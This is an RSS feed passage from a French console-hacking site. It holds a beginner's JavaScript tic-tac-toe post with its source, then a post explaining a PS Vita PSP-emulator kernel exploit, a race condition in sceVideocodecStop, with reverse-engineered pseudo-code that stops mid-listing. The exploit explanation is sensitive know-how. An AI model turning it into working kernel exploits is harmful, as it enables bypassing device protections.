<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>
<channel>
	<title>Archives des Code Source - Custom Protocol</title>
	<atom:link href="https://www.customprotocol.com/programmation-categorie/code-source/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.customprotocol.com/programmation-categorie/code-source/</link>
	<description>Site d&#039;hack-tualité et de tutoriels sur la customisation de consoles et appareils (homebrews, plugins, émulation...)</description>
	<lastBuildDate>Wed, 22 Apr 2015 07:32:01 +0000</lastBuildDate>
	<language>fr-CA</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
	<item>
		<title>Coding Club Paris (Epitech)&#160;: mon premier &#8220;morpion&#8221; en javascript</title>
		<link>https://www.customprotocol.com/programmation/coding-club-paris-epitech-mon-premier-morpion-en-javascript/</link>
					<comments>https://www.customprotocol.com/programmation/coding-club-paris-epitech-mon-premier-morpion-en-javascript/#comments</comments>
		
		<dc:creator><![CDATA[Wirus]]></dc:creator>
		<pubDate>Wed, 22 Apr 2015 07:32:01 +0000</pubDate>
				<category><![CDATA[News Programmation]]></category>
		<category><![CDATA[Programmation]]></category>
		<category><![CDATA[Morpion]]></category>
		<guid isPermaLink="false">https://www.customprotocol.com/?post_type=it_programmation&#038;p=3927</guid>
					<description><![CDATA[<p>Rien d'extraordinaire me direz-vous... Quoiqu'il en soit, je suis content d'avoir appris un peu de javascript avec le Coding Club d'Epitech à Paris ces 2 derniers jours, j'espère continuer dans cette lancée&#8239;! ^^</p>
<p>L’article <a rel="nofollow" href="https://www.customprotocol.com/programmation/coding-club-paris-epitech-mon-premier-morpion-en-javascript/">Coding Club Paris (Epitech)&nbsp;: mon premier &#8220;morpion&#8221; en javascript</a> est apparu en premier sur <a rel="nofollow" href="https://www.customprotocol.com">Custom Protocol</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Bien le bonjour à tous et toutes&#8239;!&nbsp;<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p style="text-align: justify;">Vu que j'aime pas laisser mon bébé <strong>Custom Protocol</strong> sans lui donner au moins une petite <em>news</em> quotidienne dont il raffole tant, je vais aujourd'hui vous faire part de mon expérience au <strong>Coding Club</strong> d'<strong>Epitech</strong>. Tout d'abord, qu'est-ce qu'<strong>Epitech </strong>?</p>
<p style="text-align: justify;"><div align="justify" class="signoff"><i class="fa fa-fw fa-file"></i><strong>Epitech</strong> est une école d'informatique créée en 1999 qui forme en 5 ans après-bac des experts du secteur. Elle permet de transformer une passion en expertise via une pédagogie résolument innovante, organisée par projets. Elle est présente dans 12 villes de France et à Dakar (Sénégal) et bientôt à Beijing (Chine). <strong>Epitech</strong> délivre un titre d'Expert en Technologies de l'Information (Bac+5), homologué Niveau 1 par l’État au niveau de la Commission Nationale de la Certification Professionnelle (CNCP).</div>
<p style="text-align: justify;">Et... qu'est-ce que le <strong>Coding Club</strong>&#8239;?</p>
<p style="text-align: justify;"><div align="justify" class="signoff"><i class="fa fa-fw fa-laptop"></i>Le <strong>Coding Club</strong> est un atelier récurrent qui permet de vous initier à la programmation et au développement. Que ce soit par exemple le développement de jeux vidéo et bien d'autres activités&#8239;! Il est disponible dans toutes les écoles <strong>Epitech</strong> de France&#8239;! Les ateliers d'apprentissage (stages durant les vacances, sessions le mercredi ou le samedi) sont animés par des étudiants d<strong>'Epitech</strong>.</div>
<figure id="attachment_3928" aria-describedby="caption-attachment-3928" style="width: 300px" class="wp-caption aligncenter"><a href="https://www.customprotocol.com/medias/2015/04/coding-club-epitech.png"><img fetchpriority="high" decoding="async" class="wp-image-3928 size-medium" src="https://www.customprotocol.com/medias/2015/04/coding-club-epitech-300x180.png" alt="Image d'illustration du Coding Club" width="300" height="180" srcset="https://www.customprotocol.com/medias/2015/04/coding-club-epitech-300x180.png 300w, https://www.customprotocol.com/medias/2015/04/coding-club-epitech-370x223.png 370w, https://www.customprotocol.com/medias/2015/04/coding-club-epitech-270x162.png 270w, https://www.customprotocol.com/medias/2015/04/coding-club-epitech-570x343.png 570w, https://www.customprotocol.com/medias/2015/04/coding-club-epitech.png 635w, https://www.customprotocol.com/medias/2015/04/coding-club-epitech-300x180@2x.png 600w" sizes="(max-width: 300px) 100vw, 300px" /></a><figcaption id="caption-attachment-3928" class="wp-caption-text">Image d'illustration du <strong>Coding Club</strong></figcaption></figure>
<p style="text-align: justify;">Maintenant que vous voyez à peu près l'utilité du <strong>Coding Club</strong>, revenons à nos moutons. Je suis un piètre descripteur (ça se dit&#8239;? o_O), mais en un mot, je dirais que c'était zénial. L'ambiance était plutôt "détendue" et "cool" - contrairement à ce à quoi je m'attendais -, les conseillers techniques sympathiques et à l'écoute de chacun d'entre nous, les locaux assez bien entretenus et design (on notera la pelouse "inversée" avant de rentrer dans la cafét' qui se trouve... au plafond), et enfin le self était carrément meilleur qu'à mon lycée (je ne citerai pas de nom&nbsp;:P).</p>
<p style="text-align: justify;">On a pu visiter lundi matin le <em>Innovation Hub</em>, que j'avais déjà entrevu durant les portes ouvertes de la même école, dans sa quasi-intégralité tout en parlant avec les étudiants qui s'y trouvaient, et dont le centre d'intérêt différait toujours (un coup c'était l'intelligence artificielle, l'autre la manipulation des <em>Google Glass</em> ou autres <em>Oculus Rift</em>, tandis que le suivant était à fond sur le portage de <em>Jubeat</em> avec un clavier personnalisé et physique, etc.).</p>
<figure id="attachment_3930" aria-describedby="caption-attachment-3930" style="width: 300px" class="wp-caption aligncenter"><a href="https://www.customprotocol.com/medias/2015/04/Jubeat-Epitech-Innovation-Hub.png"><img decoding="async" class="wp-image-3930 size-medium" src="https://www.customprotocol.com/medias/2015/04/Jubeat-Epitech-Innovation-Hub-300x98.png" alt="Le Jubeat du futur by Epitech" width="300" height="98" srcset="https://www.customprotocol.com/medias/2015/04/Jubeat-Epitech-Innovation-Hub-300x98.png 300w, https://www.customprotocol.com/medias/2015/04/Jubeat-Epitech-Innovation-Hub-370x121.png 370w, https://www.customprotocol.com/medias/2015/04/Jubeat-Epitech-Innovation-Hub-270x88.png 270w, https://www.customprotocol.com/medias/2015/04/Jubeat-Epitech-Innovation-Hub-570x186.png 570w, https://www.customprotocol.com/medias/2015/04/Jubeat-Epitech-Innovation-Hub.png 687w, https://www.customprotocol.com/medias/2015/04/Jubeat-Epitech-Innovation-Hub-300x98@2x.png 600w" sizes="(max-width: 300px) 100vw, 300px" /></a><figcaption id="caption-attachment-3930" class="wp-caption-text">Le <em>Jubeat</em> du futur by <strong>Epitech</strong></figcaption></figure>
<p style="text-align: justify;">Ensuite, du lundi après-midi jusqu'à mardi 17h, on n'a pas arrêté d'essayer de coder un putain de morpion en<em> javascript</em>. Et croyez-moi, quand on n'y connait mais alors que dalle en <em>javascript</em>, c'est chaud. D: Autant la partie HTML/CSS se bouclait en 1 heure, autant <em>javascript</em>... Bref, ça m'a bien pris la tête plusieurs heures. Mais en restant motivé et confiant, j'ai pu comprendre mes erreurs, les corriger, refaire des erreurs, les re-comprendre, les re-corriger, etc. Jusqu'à arriver à un jeu assez stable.</p>
<p style="text-align: justify;">Et là, stupéfaction&nbsp;: je vois que je suis l'un des seuls à avoir terminé&#8239;!&nbsp;:O Un conseiller technique me propose du coup, à défaut de réaliser une intelligence artificielle faute de temps, de créer un petit sélecteur de <del>personnages</del> poneys (faut croire que la majorité des étudiants d'<strong>Epitech</strong> vouent un culte à <em>My Little Pony</em>) afin que les 2 joueurs puissent choisir leur héros préféré (ou héroïne, j'en sais rien). J'accepte le défi, et arrive à terminer à 17h pile mon pitit morpion. Ça peut paraître de la merde, mais je me sentais fier. <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60e.png" alt="😎" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Et les bravo des étudiants n'ont fait qu'atténuer cette petite fierté.</p>
<figure id="attachment_3939" aria-describedby="caption-attachment-3939" style="width: 1024px" class="wp-caption aligncenter"><a href="https://www.customprotocol.com/morpion/"><img decoding="async" class="wp-image-3939 size-large" src="https://www.customprotocol.com/medias/2015/04/Morpion-by-Wirus-screenshot-1024x563.png" alt="Screenshot de on morpion...&nbsp;:')" width="1024" height="563" srcset="https://www.customprotocol.com/medias/2015/04/Morpion-by-Wirus-screenshot-1024x563.png 1024w, https://www.customprotocol.com/medias/2015/04/Morpion-by-Wirus-screenshot-300x165.png 300w, https://www.customprotocol.com/medias/2015/04/Morpion-by-Wirus-screenshot-768x422.png 768w, https://www.customprotocol.com/medias/2015/04/Morpion-by-Wirus-screenshot-370x203.png 370w, https://www.customprotocol.com/medias/2015/04/Morpion-by-Wirus-screenshot-270x148.png 270w, https://www.customprotocol.com/medias/2015/04/Morpion-by-Wirus-screenshot-570x313.png 570w, https://www.customprotocol.com/medias/2015/04/Morpion-by-Wirus-screenshot-740x407.png 740w, https://www.customprotocol.com/medias/2015/04/Morpion-by-Wirus-screenshot.png 1547w, https://www.customprotocol.com/medias/2015/04/Morpion-by-Wirus-screenshot-300x165@2x.png 600w, https://www.customprotocol.com/medias/2015/04/Morpion-by-Wirus-screenshot-768x422@2x.png 1536w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption id="caption-attachment-3939" class="wp-caption-text">Screenshot de <a title="Morpion by Wirus" href="https://www.customprotocol.com/morpion/" target="_blank" rel="noopener noreferrer">mon morpion</a>...&nbsp;:')</figcaption></figure>
<p style="text-align: justify;">Mon mini-morpion est donc disponible <a title="Morpion by Wirus" href="https://www.customprotocol.com/morpion/index.html" target="_blank" rel="noopener noreferrer">à cette adresse</a>, mais comme vous le remarquerez certainement très rapidement, il y a un problème d'optimisation et de chargement (même sur <strong>Custom Protocol </strong>en fait) dû au fait que votre navigateur doit charger l'image de fond qui est assez lourde ainsi que la police. Je vous suggère donc de télécharger <a title="Archive de Morpion by Wirus" href="https://www.customprotocol.com/medias/2015/04/Morpion-by-Wirus.zip" target="_blank" rel="noopener noreferrer">l'archive de mon jeu de 1.37 mb à cette adresse</a> (suffit d'extraire toussa et de glisser-déposer le fichier<em> index.html</em> sur votre navigateur), et si vous le souhaitez de voir son code source (critiques désagréables s'abstenir&nbsp;:o).</p>
<p style="text-align: justify;">Bref, très content de ce petit "séjour" à <strong>Epitech</strong>, je pense et j'espère continuer un peu le <em>javascript</em> dans mon coin pour, par exemple, améliorer <strong>Custom Protocol</strong> et lui rajouter des fonctionnalités exclusives plus tard&#8239;!&nbsp;<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p style="text-align: justify;"><div class="mks_toggles"><div class="mks_toggle"><div class="mks_toggle_heading">index.html<i class="fa fa-plus"></i><i class="fa fa-minus"></i></div><div class="mks_toggle_content">Voici la partie HTML de mon morpion&nbsp;:</p>
<pre class="lang:php decode:true" title="index.html">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;meta charset="UTF-8"&gt;&lt;/meta&gt;
&lt;head&gt;
	&lt;title&gt;Morpion by Wirus&lt;/title&gt;
	&lt;link rel="stylesheet" type="text/css" href="style.css" media="screen" /&gt;
&lt;/head&gt;
 
&lt;body&gt;
	&lt;div id="logo"&gt;&lt;img src="img/logo-epitech-header.png"&gt;&lt;/div&gt;
 
	&lt;div id="selecteur"&gt;
		&lt;button&gt;&lt;/button&gt;
		&lt;button&gt;&lt;/button&gt;
		&lt;button&gt;&lt;/button&gt;
		&lt;button&gt;&lt;/button&gt;
		&lt;button&gt;&lt;/button&gt;
		&lt;button&gt;&lt;/button&gt;
	&lt;/div&gt;
 
	&lt;div id="game"&gt;
		&lt;div&gt;
			&lt;button&gt;&lt;/button&gt;
			&lt;button&gt;&lt;/button&gt;
			&lt;button&gt;&lt;/button&gt;
		&lt;/div&gt;
 
		&lt;div&gt;
			&lt;button&gt;&lt;/button&gt;
			&lt;button&gt;&lt;/button&gt;
			&lt;button&gt;&lt;/button&gt;
		&lt;/div&gt;
 
		&lt;div&gt;
			&lt;button&gt;&lt;/button&gt;
			&lt;button&gt;&lt;/button&gt;
			&lt;button&gt;&lt;/button&gt;
		&lt;/div&gt;
	&lt;/div&gt;
 
	&lt;div id="gameStatus"&gt;
	&lt;/div&gt;
 
	&lt;div id="finwall"&gt;
	&lt;/div&gt;
 
	&lt;div id="credits"&gt;
		&lt;p&gt;POWERED BY&lt;/p&gt;
		&lt;a href="https://www.customprotocol.com/"&gt;&lt;img src="https://www.customprotocol.com/medias/2015/01/CTP-logo-horizontal-by-Windvern-petit.png"&gt;&lt;/a&gt;
	&lt;/div&gt;
 
	&lt;script src="Morpion.js" type="text/javascript"&gt;&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<p style="text-align: justify;"></div></div><div class="mks_toggle"><div class="mks_toggle_heading">style.css<i class="fa fa-plus"></i><i class="fa fa-minus"></i></div><div class="mks_toggle_content">Voici la partie CSS de mon morpion&nbsp;:</p>
<pre class="lang:css decode:true " title="style.css">@font-face {
   font-family: 'Roboto';
   src: url('Roboto-Medium.ttf');
}
 
body {
    background: url('img/wall.jpg') no-repeat -180px -100px;
	font-family: 'Roboto', sans-serif;
	font-size: 14px;
}
 
#logo {
	text-align: center;
}
 
#game {
	width: 350px;
	height: 350px;
	margin: 22px auto 22px auto;
	background: rgb(18, 132, 220);
	padding: 10px;
	border-radius: 5px;
}
 
#game button {
	width: 102px;
	height: 102px;
	float: left;
	margin: 7px;
	background:&#8239;;
}
 
#game div {
        width: 350px;
        text-align: center;
}
 
#gameStatus {
	width: 360px;
	height: auto;
	background: rgb(18, 132, 220);
	border-radius: 5px;
	margin: auto;
	padding: 5px;
	color: #DDD;
	text-align: center;
}
 
#gameStatus a {
	color: rgb(200, 200, 0);
	font-weight: bold;
}
 
#gameStatus img {
	width: 20px;
	height: auto;
}
 
@media screen and (min-height: 700px) {
 
#credits {
	background: none repeat scroll 0% 0% rgba(255, 255, 255, 0.5);
	width: 100%;
	height: 100px;
	position: absolute;
	bottom: 0px;
	left: 0px;
	text-align: right;
}
 
#credits p {
	margin: 15px 22px 10px 0px;
}
 
#credits img {
	width: 150px;
	margin: -5px 5px 0px 0px;
}
 
}
 
@media screen and (max-height: 700px) {
	#credits {display: none;}
}
 
#selecteur {
	width: 350px;
	height: 240px;
	margin: 22px auto 22px auto;
	background: rgb(18, 132, 220);
	padding: 10px;
	border-radius: 5px;
}
 
#selecteur button {
	width: 102px;
	height: 102px;
	float: left;
	margin: 7px;
	font-size: 12px;
	background:&#8239;;
}
#selecteur img {
	display: block;
	margin: auto;
}</pre>
<p style="text-align: justify;"></div></div><div class="mks_toggle"><div class="mks_toggle_heading">Morpion.js<i class="fa fa-plus"></i><i class="fa fa-minus"></i></div><div class="mks_toggle_content">Voici la partie JavaScript de mon morpion&nbsp;:</p>
<pre class="lang:js decode:true" title="Morpion.js">function modifyStatut(element, message) {
	element.innerHTML&nbsp;=&nbsp;message;
}
 
function isValid(valeur) {
	return valeur.innerHTML == 0;
}
 
function setSymbole(bouton, joueur) {
	bouton.innerHTML&nbsp;=&nbsp;joueur;
}
 
function searchWinner(pions, gamers, currentTurn) {
	if (pions[0].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[1].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[2].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[3].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[4].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[5].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[6].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[7].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[8].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[0].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[3].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[6].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[1].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[4].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[7].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[2].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[5].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[8].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[0].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[4].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[8].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[2].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[4].innerHTML == gamers[currentTurn] &amp;&amp;
		pions[6].innerHTML == gamers[currentTurn])
	return true;
}
 
function matchNul(pions, gamers, currentTurn) {
	for (var i&nbsp;=&nbsp;0, len&nbsp;=&nbsp;pions.length; i &lt; len; i++) {
		if (pions[i].innerHTML == 0)
		return false
	}
	return true
}
 
function main() {
	var currentTurn&nbsp;=&nbsp;Math.floor((Math.random())),
		isGameOver&nbsp;=&nbsp;false,
		afficheur&nbsp;=&nbsp;document.querySelector("#gameStatus"),
        pions&nbsp;=&nbsp;document.querySelectorAll("#game button");
        modifyStatut(afficheur, "Le jeu peut démarrer.&lt;br/&gt;Joueur "&nbsp;+&nbsp;gamers[currentTurn]&nbsp;+&nbsp;" ("+ gamersnom[currentTurn] +"), &amp;#224; vous de jouer...");
       
	for (var i&nbsp;=&nbsp;0, len&nbsp;=&nbsp;pions.length; i &lt; len; i++) {
		pions[i].addEventListener("click", function() {
			if (isGameOver)
				return;
 
			if (isValid(this)) {
				setSymbole(this, gamers[currentTurn]);
				if (searchWinner(pions, gamers, currentTurn)) {
					modifyStatut(afficheur, "Le joueur "&nbsp;+&nbsp;gamers[currentTurn]&nbsp;+&nbsp;" ("+ gamersnom[currentTurn] +") a gagné&#8239;!&nbsp;:D&lt;br /&gt;&lt;a href=\"index.html\"&gt;Rejouer&#8239;?&lt;/a&gt;");
					isGameOver&nbsp;=&nbsp;true;
				} else if (matchNul(pions, gamers, currentTurn)) {
					modifyStatut(afficheur, "Match Nul&#8239;!&nbsp;:O&lt;br /&gt;&lt;a href=\"index.html\"&gt;Rejouer&#8239;?&lt;/a&gt;");
					isGameOver&nbsp;=&nbsp;true;
				} else {
					currentTurn++;
					currentTurn&nbsp;=&nbsp;currentTurn&#8239;% 2;
					modifyStatut(afficheur, "Joueur "&nbsp;+&nbsp;gamers[currentTurn]&nbsp;+&nbsp;" ("+ gamersnom[currentTurn] +"), c'est &amp;#224; votre tour&#8239;!");
				}
			} else {             
			modifyStatut(afficheur, "Quelqu'un a déjà joué ici&#8239;!");
			}
		});
	}
}
 
function SelectVerif() {
	if (this.innerHTML.split("&gt;")[1]&#8239;!= gamersnom[currentSelection - 1]) {
		gamersnom[currentSelection]&nbsp;=&nbsp;this.innerHTML.split("&gt;")[1];
		gamers[currentSelection]&nbsp;=&nbsp;this.innerHTML.split("&gt;")[0]&nbsp;+&nbsp;"&gt;";
		alert("Joueur "&nbsp;+&nbsp;(currentSelection&nbsp;+&nbsp;1)&nbsp;+&nbsp;", vous avez choisi "&nbsp;+&nbsp;gamersnom[currentSelection]);
		currentSelection++;
		modifyStatut(document.querySelector("#gameStatus"), "Joueur 2, choisissez votre poney préféré&#8239;!&nbsp;:)");
		if (currentSelection &gt; 1) {
			demarrer&nbsp;=&nbsp;true;
			document.querySelector("#game").style.display&nbsp;=&nbsp;"";
			document.querySelector("#selecteur").style.display&nbsp;=&nbsp;"none";
			main();
        }
	}
}
 
function selecteur() {
	var afficheur&nbsp;=&nbsp;document.querySelector("#gameStatus"),
		poneys&nbsp;=&nbsp;document.querySelectorAll("#selecteur button"),
		images&nbsp;=&nbsp;['&lt;img src="img/ts.gif"&gt;', '&lt;img src="img/rd.gif"&gt;', '&lt;img src="img/aj.gif"&gt;', '&lt;img src="img/pp.gif"&gt;', '&lt;img src="img/r.gif"&gt;', '&lt;img src="img/f.gif"&gt;'],
		noms&nbsp;=&nbsp;['Twilight Sparkle', 'Rainbow Dash', 'Applejack', 'Pinkie Pie', 'Rarity', 'Fluttershy'];
	document.querySelector("#game").style.display&nbsp;=&nbsp;"none";
	modifyStatut(afficheur, "Joueur "&nbsp;+&nbsp;(currentSelection&nbsp;+&nbsp;1)&nbsp;+&nbsp;", choisissez votre poney préféré&#8239;!&nbsp;:)");
	
	for (var i&nbsp;=&nbsp;0, len&nbsp;=&nbsp;poneys.length; i &lt; len; i++) {
		poneys[i].innerHTML&nbsp;=&nbsp;images[i]&nbsp;+&nbsp;noms[i];
		poneys[i].addEventListener("click", SelectVerif);
	}
}
 
var currentSelection&nbsp;=&nbsp;0,
	gamers&nbsp;=&nbsp;['', ''],
	gamersnom&nbsp;=&nbsp;['', ''];
 
selecteur();</pre>
<p style="text-align: justify;"></div></div></div>
<p>L’article <a rel="nofollow" href="https://www.customprotocol.com/programmation/coding-club-paris-epitech-mon-premier-morpion-en-javascript/">Coding Club Paris (Epitech)&nbsp;: mon premier &#8220;morpion&#8221; en javascript</a> est apparu en premier sur <a rel="nofollow" href="https://www.customprotocol.com">Custom Protocol</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.customprotocol.com/programmation/coding-club-paris-epitech-mon-premier-morpion-en-javascript/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Le code source du kernel exploit PSP de Qwikrazor87 expliqué</title>
		<link>https://www.customprotocol.com/programmation/le-code-source-du-kernel-exploit-psp-qwikrazor87-explique/</link>
					<comments>https://www.customprotocol.com/programmation/le-code-source-du-kernel-exploit-psp-qwikrazor87-explique/#comments</comments>
		
		<dc:creator><![CDATA[Wirus]]></dc:creator>
		<pubDate>Sun, 01 Mar 2015 17:32:33 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[News Programmation]]></category>
		<category><![CDATA[News Underground]]></category>
		<category><![CDATA[Programmation]]></category>
		<category><![CDATA[Underground]]></category>
		<guid isPermaLink="false">https://www.customprotocol.com/?post_type=it_programmation&#038;p=2835</guid>
					<description><![CDATA[<p>Guidobot et Wololo nous expliquent le code source du kernel exploit pour l'émulateur PSP découvert par Qwikrazor87 sur les PS Vita en firmware 3.36. Attachez vos ceintures&#8239;!</p>
<p>L’article <a rel="nofollow" href="https://www.customprotocol.com/programmation/le-code-source-du-kernel-exploit-psp-qwikrazor87-explique/">Le code source du kernel exploit PSP de Qwikrazor87 expliqué</a> est apparu en premier sur <a rel="nofollow" href="https://www.customprotocol.com">Custom Protocol</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Le développeur <em>Guidobot</em>, à l'origine du <a title="TUTO&nbsp;-&nbsp;Installez et utilisez le 138Menu" href="https://www.customprotocol.com/underground/tuto-installez-utilisez-138menu/" target="_blank" rel="noopener noreferrer"><em>138Menu</em></a> que vous utilisez peut-être sur votre PS Vita, a posté avant-hier sur les <a title="sceVideocodecStop() kxploit" href="http://wololo.net/talk/viewtopic.php?f=54&amp;t=41879" target="_blank" rel="noopener noreferrer">forums de <em>Wololo</em></a> une explication relativement détaillée à propos du dernier <strong>exploit kernel PSP</strong> découvert par <em>Qwikrazor87</em> sur les PS Vita en <em>firmware </em>3.36 dont <a title="Qwikrazor87 publie le code source de son kernel exploit pour firmware 3.36" href="https://www.customprotocol.com/programmation/qwikrazor87-publie-le-code-source-de-son-kernel-exploit-pour-firmware-3-36/" target="_blank" rel="noopener noreferrer">le code source a été révélé</a> il y a 2 jours par l'auteur lui-même. Une petite traduction française s'impose...</p>
<figure id="attachment_2837" aria-describedby="caption-attachment-2837" style="width: 550px" class="wp-caption aligncenter"><a href="https://www.customprotocol.com/medias/2015/03/PSP-emulator-kernel-exploit-souce-code-qwikrazor87-illustration-explications-Guidobot.png"><img decoding="async" class="wp-image-2837" src="https://www.customprotocol.com/medias/2015/03/PSP-emulator-kernel-exploit-souce-code-qwikrazor87-illustration-explications-Guidobot-1024x576.png" alt="Suivez le Guidobot&#8239;!" width="550" height="309" srcset="https://www.customprotocol.com/medias/2015/03/PSP-emulator-kernel-exploit-souce-code-qwikrazor87-illustration-explications-Guidobot-1024x576.png 1024w, https://www.customprotocol.com/medias/2015/03/PSP-emulator-kernel-exploit-souce-code-qwikrazor87-illustration-explications-Guidobot-300x169.png 300w, https://www.customprotocol.com/medias/2015/03/PSP-emulator-kernel-exploit-souce-code-qwikrazor87-illustration-explications-Guidobot-768x432.png 768w, https://www.customprotocol.com/medias/2015/03/PSP-emulator-kernel-exploit-souce-code-qwikrazor87-illustration-explications-Guidobot-370x208.png 370w, https://www.customprotocol.com/medias/2015/03/PSP-emulator-kernel-exploit-souce-code-qwikrazor87-illustration-explications-Guidobot-270x152.png 270w, https://www.customprotocol.com/medias/2015/03/PSP-emulator-kernel-exploit-souce-code-qwikrazor87-illustration-explications-Guidobot-570x321.png 570w, https://www.customprotocol.com/medias/2015/03/PSP-emulator-kernel-exploit-souce-code-qwikrazor87-illustration-explications-Guidobot-740x416.png 740w, https://www.customprotocol.com/medias/2015/03/PSP-emulator-kernel-exploit-souce-code-qwikrazor87-illustration-explications-Guidobot.png 1280w, https://www.customprotocol.com/medias/2015/03/PSP-emulator-kernel-exploit-souce-code-qwikrazor87-illustration-explications-Guidobot-300x169@2x.png 600w" sizes="(max-width: 550px) 100vw, 550px" /></a><figcaption id="caption-attachment-2837" class="wp-caption-text">Suivez le Guidobot&#8239;!</figcaption></figure>
<p style="text-align: justify;">Vous vous souvenez peut-être que nous évoquions une situation de compétition (ou <em>race condition</em>), cela semble être confirmé. Tout d'abord, sachez qu'une situation de compétition est une sorte de faille présente dans un système qui ne se manifeste que lorsque plusieurs "événements" causés par des acteurs (dont au moins un a la capacité de modifier l'état de la ressource impliquée) interviennent dans un ordre inattendu. Dans les codes multi-tâches (<em>multithread</em>), cela peut être assez commun si le verrouillage adéquat de chaque ressource partagée n'est pas fait correctement par les tâches (<em>threads</em>).</p>
<p style="text-align: justify;">Dans un tel cas, la fonction exploitée vérifie que les paramètres sont valides avant de continuer, mais avant d'utiliser ces valeurs, un autre <em>thread</em> "malveillant" peut venir modifier le contenu de certains paramètres avec le fameux contenu exploité.</p>
<figure id="attachment_2839" aria-describedby="caption-attachment-2839" style="width: 547px" class="wp-caption aligncenter"><a href="https://www.customprotocol.com/medias/2015/03/explications-situation-competition-thread-malveillant.png"><img decoding="async" class="wp-image-2839 size-full" src="https://www.customprotocol.com/medias/2015/03/explications-situation-competition-thread-malveillant.png" alt="Explications en images" width="547" height="177" srcset="https://www.customprotocol.com/medias/2015/03/explications-situation-competition-thread-malveillant.png 547w, https://www.customprotocol.com/medias/2015/03/explications-situation-competition-thread-malveillant-300x97.png 300w, https://www.customprotocol.com/medias/2015/03/explications-situation-competition-thread-malveillant-370x120.png 370w, https://www.customprotocol.com/medias/2015/03/explications-situation-competition-thread-malveillant-270x87.png 270w" sizes="(max-width: 547px) 100vw, 547px" /></a><figcaption id="caption-attachment-2839" class="wp-caption-text">Explications en images</figcaption></figure>
<p style="text-align: justify;">Ici, la fonction donnant l'accès au noyau (<em>kernel</em>) s'appelle <strong>sceMeVideo_driver_4D78330C </strong>(à comprendre comme étant le "do_some_stuff(data)" sur l'illustration ci-dessus), et la fonction avec la situation de compétition est le fameux <strong>scevideoCodecStop</strong> (le "myfonction" sur l'illustration). Vous avez une idée générale du fonctionnement de ce <strong>kernel exploit</strong>, si vous souhaitez connaître tout sur tout, nous vous invitons à voir les explications du code source plus bas.&#8239;;)</p>
<pre class="lang:default decode:true ">//sceVideocodecStop kxploit reverse by GUIDOBOT
//u sont inconnus, p sont les pointeurs et v les valeurs
typedef struct s_data
{
	unsigned u0;	//0
	unsigned u4;	//1
	unsigned u8;	//2
	unsigned p12; 	//3
	unsigned p16; 	//4
	unsigned u20; 	//5
	unsigned u24; 	//6
	unsigned u28; 	//7
	unsigned u32;	//8
	unsigned u36;	//9
	unsigned u40;	//10
	unsigned p44;	//11, *
	unsigned p48;	//12
	unsigned u52;	//13
	unsigned p56;	//14
	unsigned v60;	//15
} t_data;
int sceVideocodecStop(t_data * data, int flag)
{
	//on veut que cela retourne 0, on lui assigne donc les bonnes valeurs
	int check&nbsp;=&nbsp;sub_00000C38(data); 
	
	if(!check)
	{
		//les deux lignes ci-dessous se chargent d'écrire certaines données depuis la structure vers la mémoire,  mais on ne s'en soucie pas
		sub_00000D2C(data, flag);
		sub_00000B8C(data, flag);
		
		//c'est cet endroit qui nous intéresse, les valeurs de la structure doivent normalement déjà être échangées pour que tout fonctionne
		int val&nbsp;=&nbsp;sceMeVideo_driver_4D78330C(flag, data);
		
		//etc.
		//..
	};
	//etc.
	//..
};
//filtres des adresses du kernel
int sub_00000C38(const t_data * data, int flag)
{
	//ce morceau de code va simplement vérifier certaines données, à savoir les valeurs&nbsp;: data-&gt;p12, data-&gt;p16, data-&gt;p44 et data-&gt;p56
	if((0x80000000 &amp; ((data&nbsp;+&nbsp;96) | data) &gt;= 0) &amp;&amp; (0x80000000 &amp; data-&gt;p12 &gt;= 0))
	{
		int size&nbsp;=&nbsp;256;
		
		if(flag == 0)
			size&nbsp;=&nbsp;40;
		else if(flag &gt;= 3)
			return 0x806201FE;
		if(0x80000000 &amp; ((data-&gt;p16&nbsp;+&nbsp;size) | data-&gt;p16) &gt;= 0)
		{		
			if(flag)
